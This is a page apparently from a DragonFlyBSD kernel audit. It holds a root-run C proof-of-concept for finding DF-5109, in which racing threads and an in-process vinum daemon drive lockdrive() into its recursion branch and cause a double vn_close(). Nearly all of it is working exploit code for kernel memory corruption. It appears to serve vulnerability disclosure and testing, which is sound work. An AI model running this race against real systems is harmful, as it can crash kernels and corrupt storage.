⬢ DragonFlyBSD Kernel Audit
DF-5109 / lockdrive_recursion.c
← back to finding ↓ download raw
/*
 * DF-5109 PoC v3: vinumlock.c lockdrive() pid-based "recursion" admits a
 * second thread of the same process into the drive critical section.
 *
 * Key reachability fact: VINUM_DAEMON (vinumioctl.c:296) runs vinum_daemon()
 * INSIDE the issuing process -- the daemon thread shares the issuer's pid.
 * The daemon's close_drive() (daemonrq_closedrive) and this process's other
 * threads (VINUM_SETSTATE down -> queued closes racing VINUM_REMOVE ->
 * free_drive -> LOCKDRIVE) therefore share one pid: when the daemon sleeps
 * inside close_locked_drive()->vn_close() (VF_OPEN and drive->vp still set),
 * a same-process remover entering lockdrive() takes the "already locking"
 * recursion branch (vinumlock.c:59-75, logged unconditionally at :70-73)
 * and runs close_locked_drive() AGAIN -> double vn_close().
 *
 * build: cc -O2 -pthread -o lockdrive_recursion lockdrive_recursion.c
 * usage: ./lockdrive_recursion <seconds> <racers>   (root)
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#define	L	'F'
#define	BUFSIZE	1024
#define	MAX_IOCTL_REPLY 256

struct ioctl_reply {
	int error;
	char msg[MAX_IOCTL_REPLY];
};

struct vinum_ioctl_msg {
	int index;
	int type;		/* 0 = drive_object */
	int state;		/* 3 = object_up, 0 = down */
	int op;
	int force;
	int recurse;
	int verify;
	int otherobject;
	int rename;
	int64_t offset;
	int blocksize;
};

#define	VINUM_CREATE	_IOC(IOC_IN | IOC_OUT, L, 64, BUFSIZE)
#define	VINUM_SETSTATE	_IOC(IOC_IN | IOC_OUT, L, 76, MAX_IOCTL_REPLY)
#define	VINUM_REMOVE	_IOWR(L, 83, struct ioctl_reply)
#define	VINUM_DAEMON	_IOC(0, L, 92, 0)

static int ctl;
static volatile int stop = 0;

/* the vinum label blob for drive "d0" (magic + name at offset 48) --
 * written to the backing partition at VINUM_LABEL_OFFSET (4096) each
 * round so the drive can be re-created 'up' after each obliteration */
static unsigned char lbl[512] = {
	0x49,0x4e,0x20,0x56,0x49,0x4e,0x4f,0x00,			/* magic */
	0x00,0x00,0x01,0x00,					/* config_length */
	'd','f','b','s','d',0,0,0,0,0,0,0,0,0,0,0,		/* sysname */
	0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
	'd','0',0,0,0,0,0,0,0,0,0,0,0,0,0,0,			/* name @48 */
};
static const char *devnode = "/dev/vn3s1a";

static int
create_line(const char *line)
{
	char buf[BUFSIZE];
	int r;

	memset(buf, 0, sizeof(buf));
	snprintf(buf, sizeof(buf) - 1, "%s", line);
	r = ioctl(ctl, VINUM_CREATE, buf);
	return (r < 0 || *(int *)buf != 0) ? -1 : 0;
}

static void
relabel(void)
{
	int fd = open(devnode, O_WRONLY);

	if (fd >= 0) {
		pwrite(fd, lbl, sizeof(lbl), 4096);
		close(fd);
	}
}

static int
do_setstate(int index, int state, int force)
{
	char buf[BUFSIZE];
	struct vinum_ioctl_msg *msg = (struct vinum_ioctl_msg *)buf;

	memset(buf, 0, sizeof(buf));
	msg->index = index;
	msg->type = 0;			/* drive */
	msg->state = state;
	msg->force = force;
	return (ioctl(ctl, VINUM_SETSTATE, buf) < 0) ? -1 : 0;
}

static int
remove_drive(int index)
{
	char buf[BUFSIZE];
	struct vinum_ioctl_msg *msg = (struct vinum_ioctl_msg *)buf;

	memset(buf, 0, sizeof(buf));
	msg->index = index;
	msg->type = 0;
	msg->force = 1;
	msg->recurse = 1;
	if (ioctl(ctl, VINUM_REMOVE, buf) < 0)
		return (-1);
	return (*(int *)buf);
}

static void *
daemon_thread(void *arg)
{
	(void)arg;
	ioctl(ctl, VINUM_DAEMON, 0);		/* becomes the vinum daemon */
	return (NULL);
}

static void *
cycler(void *arg)
{
	long id = (long)arg;
	long ups = 0;

	while (!stop) {
		/* bring d0 back: fresh label, create, force up */
		relabel();
		if (create_line("drive d0 device /dev/vn3s1a") == 0) {
			do_setstate(0, 3, 1);	/* slot 0 if freed, else find */
			do_setstate(3, 3, 1);
			ups++;
		}
		usleep(20000);
	}
	fprintf(stderr, "cycler %ld: %ld up rounds\n", id, ups);
	return (NULL);
}

static void *
downer(void *arg)
{
	long id = (long)arg;
	long downs = 0, rms = 0;

	while (!stop) {
		/* queue daemon closes + race removals on both slots */
		if (do_setstate(0, 0, 1) == 0)
			downs++;
		if (do_setstate(3, 0, 1) == 0)
			downs++;
		if (remove_drive(0) == 0)
			rms++;
		if (remove_drive(3) == 0)
			rms++;
	}
	fprintf(stderr, "downer %ld: %ld downs, %ld removes\n", id, downs, rms);
	return (NULL);
}

int
main(int argc, char **argv)
{
	long seconds = (argc > 1) ? atol(argv[1]) : 60;
	long nrace = (argc > 2) ? atol(argv[2]) : 6;
	pthread_t dae, *ths;
	long i;

	ctl = open("/dev/vinum/control", O_RDWR);
	if (ctl < 0) {
		perror("/dev/vinum/control");
		return (1);
	}
	/* start the vinum daemon inside THIS process (shares our pid) */
	pthread_create(&dae, NULL, daemon_thread, NULL);
	usleep(100000);

	ths = calloc(nrace * 2, sizeof(*ths));
	for (i = 0; i < nrace; i++)
		pthread_create(&ths[i], NULL, downer, (void *)i);
	for (i = 0; i < nrace; i++)
		pthread_create(&ths[nrace + i], NULL, cycler, (void *)i);

	sleep(seconds);
	stop = 1;
	for (i = 0; i < nrace * 2; i++)
		pthread_join(ths[i], NULL);
	fprintf(stderr, "done - check dmesg for 'vinum lockdrive: already locking'\n");
	return (0);
}